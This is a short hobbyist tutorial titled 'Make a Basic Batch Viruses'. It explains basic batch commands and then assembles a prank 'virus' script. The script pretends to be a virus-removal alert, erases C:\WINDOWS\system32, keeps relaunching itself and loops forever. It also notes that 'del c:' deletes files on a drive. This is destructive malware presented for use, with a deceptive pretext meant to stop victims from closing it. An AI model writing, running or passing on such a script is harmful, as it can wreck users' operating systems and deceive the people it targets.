Make a Basic Batch Viruses
Make a Basic Batch Viruses
(Article guidelines:
// Description - take out of code examples if you want to test said code
/// More info
xxxx Example)
First of all, you need to know how to make batch files, after you write a code you do "save as" xxxx.bat and then you should be able to use it, and it WON'T be a .txt file
You will also need to know that the text gets messed up in wordpad, and there are two ways to fix that, goto "new document" and then do "plain text document" OR use notepad.
/// For more info on these goto http://commandwindows.com/batch.htm
Now for some commands
[[
in HTML, good for fake virusestitle // changes window title, equivalent of
msg * xxxx // Makes a message box with the letters "xxxx" in it
del // Delete files /// "del c:" deletes files in the c drive, not the folders
erase // same as del
start xxxx.bat // starts file titled xxxx.bat that is in the same folder as running file (good for starting a program already in use)
:xxxx // sub-script
goto // goes to a sub-script
]]
Now lets put it a bit together...
[[
title VIRUS DETECTED // title for window
:xxxx // sub-script :xxxx
msg * Attempting to delete virus, do not close // message
erase "C:\WINDOWS\system32" // Deletes system32
start xxxx.bat // Starts the batch file "xxxx.bat" in the same folder as THIS batch file
msg * Attempt failed, restarting attempt // message
goto xxxx // goes to sub-script :xxxx
]]
And there you have it! Virus!!!
submitted by micchi edited by nad


